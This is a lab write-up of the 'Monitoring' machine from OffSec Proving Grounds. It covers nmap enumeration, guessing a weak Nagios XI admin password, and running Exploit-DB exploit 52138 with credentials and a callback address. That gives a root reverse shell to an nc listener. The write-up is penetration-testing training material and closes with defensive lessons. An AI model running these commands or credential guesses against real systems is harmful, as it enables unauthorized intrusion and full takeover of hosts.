# Monitoring Walkthrough

## Introduction

Welcome! I'm Koushik, a Security Engineer, and my goal with this walkthrough is to give you more than just a quick flag. I'll be demonstrating the complete methodology from enumeration to root.

Monitoring is a beginner-friendly Linux machine from OffSec Proving Grounds Play. In this guide, you will learn how to enumerate exposed services, leverage weak credentials on a Nagios XI instance, and exploit an authenticated Remote Code Execution (RCE) vulnerability to gain direct root access.

# 1\. Reconnaissance & Enumeration

## Nmap Scan Result

To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.

Used

`-T4` - Accelerate scans by reducing timeouts and probe delays.

`-Pn` - Skip host discovery and treat the target as completely online.

`-vv` - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes.

`-p-` - Scan all 65535 ports.

`-oN` - Save the scan output in normal, human-readable format to a specified file.

```bash
nmap -T4 -Pn -vv -p- 192.168.129.136 -oN nmap.txt 
```

**Output**

```bash
PORT       STATE     SERVICE    REASON
22/tcp     open       ssh       syn-ack
25/tcp     open       smtp      syn-ack 
80/tcp     open       http      syn-ack 
389/tcp    open       Idap      syn-ack 
443/tcp    open       https     syn-ack 
5667/tcp   open       unknown   syn-ack
```

### Nmap deep scan for open ports

Used

`-A` - This flag in Nmap enables an aggressive scan that combines OS detection (`-O`), service version detection (`-sV`), default NSE script scanning (`-sC`), and traceroute (`--traceroute`) into a single command.

```bash
nmap -T5 -Pn -vv -p22,25,80,389,443,5667 -A 192.168.129.136 -oN nmap_deep.txt
```

**Output**

```bash
22/tcp   open  ssh        syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
| ssh-rsa AAA...................................
25/tcp   open  smtp       syn-ack Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-08T17:59:00
| Not valid after:  2030-09-06T17:59:00
| MD5:   e067:1ea3:92c2:ec73:cb21:de0e:73df:cb66
| SHA-1: e39c:c9b6:c35b:b608:3dd0:cd25:e60f:cb61:6551:da77
| -----BEGIN CERTIFICATE-----
| MIICsjCCAZqgAwIBAgIJAMvrYyFKXQezMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
<SNIP>
| GO/4fjpxGPhhvZISI71SLM8q2cEcGQ==
|_-----END CERTIFICATE-----
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http       syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
|_http-favicon: Unknown favicon MD5: 8E1494DD4BFF0FC523A2E2A15ED59D84
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
389/tcp  open  ldap       syn-ack OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   syn-ack Apache httpd 2.4.18 ((Ubuntu))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Nagios XI
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US/localityName=St. Paul/organizationalUnitName=Development
| Issuer: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US/localityName=St. Paul/organizationalUnitName=Development
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-09-08T18:28:08
| Not valid after:  2030-09-06T18:28:08
| MD5:   20f0:951f:8eff:1b69:ef3f:1b1e:fb4c:361f
| SHA-1: cc40:0ad7:60cf:4959:1c92:d9ab:0f06:106c:18f6:6661
| -----BEGIN CERTIFICATE-----
| MIIDxTCCAq<SNIP>Yj5M4WuGKzGmkB9GPDC/REfHdu8m
| sMSOoeFVpu/b
|_-----END CERTIFICATE-----
5667/tcp open  tcpwrapped syn-ack
```

## Web Server Enumeration (Port 80)

![Pasted image 20261129125402](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/3d8fd167-72fe-4e1e-8211-84904c09331f.png align="center")

Clicked on "Access Nagios XI" and it brought me to a login page.

![Pasted image 20261129125450](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/ab722234-b6b0-4d2c-bc74-0ecd95216f64.png align="center")

I searched for default credential and got an answer from AI Overview on Google

![Pasted image 20261128230213](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/c1057f58-8128-496a-ba19-4fef33dc11d1.png align="center")

Default `nagiosadmin:nagiosadmin` didn't work so, after a couple of guesses, I found the correct password is - `admin`

Used `nagiosadmin:admin` and logged in

![Pasted image 20261129125545](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/6792d961-075a-4dfd-8dc1-dc4aae4266b0.png align="center")

> **When you get any webapp, always try to find the version**

Here the version of nagiosadmin is 5.6.0

### Known Vulnerability

I searched online for `Nagios Xi 5.6.0 exploit` and got one.

**Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE)**

![Pasted image 20261129125639](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/f4bc7e9e-59a2-4bb2-b96a-896aebdb7810.png align="center")

### Known Exploit

<https://www.exploit-db.com/exploits/52138>

![Pasted image 20261129125841](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/24442fb0-a118-4cbe-ac4b-b6e9e4d14fb1.png align="center")

## Initial Access

> An offline database of Exploit-DB exploits is already present on our Kali machine.

To download and use it, just copy the last number part of the online exploit-db exploit link and copy the same exploit from our local exploit-db database using `searchsploit`.

```bash
searchsploit -m 52138
```

![Pasted image 20261129130113](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/46b8033f-bcb3-4b6a-a274-7c7bb9d5577e.png align="center")

Notice that the exploit file has a `.txt` extension. But from the **File Type** we know that the exploit is written in Python. While `python3 52138.txt` will run without issues, renaming it to `.py` keeps things clean and enables syntax highlighting if we open it.

```bash
mv 52138.txt 52138.py
```

Now, let's check the usage of the exploit by simply running the exploit without any argument.

```bash
python3 52138.py
```

![Pasted image 20261129130144](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/81c840c4-7e41-4bc6-9e4d-0a6d280dcf8d.png align="center")

If it is not clear, we can also refer to the online copy or read the exploit source code.

![Pasted image 20261129130204](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/72dfe371-6e82-4586-94c4-e7aa00079155.png align="center")

With no modifications needed to the script I was able to catch a reverse shell back in my NC listener.

Start a listener for an incoming reverse shell. I am using `nc` and `rlwrap` to make it more stable and easier to use.

**On Local Machine**

```bash
rlwrap -f . -r nc -nvlp 4444
```

Run the exploit with the proper arguments value.

```bash
python3 52138.py -t http://192.168.129.136/ -b /nagiosxi/ -u nagiosadmin -p admin -lh 192.168.45.236 -lp 4444
```

![Pasted image 20261129130354](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/897ea443-2aac-495c-aefe-474b389b7e16.png align="center")

Got a reverse shell

![Pasted image 20261129130422](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/0110a772-80f7-40aa-a054-005e2977f32e.png align="center")

Notice that we are already `root` on the victim machine so, only proof flag is present.

```bash
cat /root/proof.txt
```

![Pasted image 20261129130647](https://cdn.hashnode.com/uploads/covers/6a78c9f9b20683bc77684bd3/a1f9aaa3-0b05-4597-9814-58ad1059a8c4.png align="center")

3\. Key Takeaways

- **Always verify software versions:** Identifying that the target was running Nagios XI 5.6.0 narrowed down the search directly to a reliable public exploit.
- **Don't stop at default credentials:** When `nagiosadmin:nagiosadmin` failed, trying simple, common admin passwords like `admin` paid off quickly.
- **Security implications:** Running web services with root-level privileges (or allowing plugin uploads that execute as `root`) turns an authenticated application flaw into an instant full-system compromise. Keeping monitoring tools patched and enforcing strong password policies prevents this entire attack chain.

Thanks for reading and taking the time to check this out, I hope it added some value to your journey!
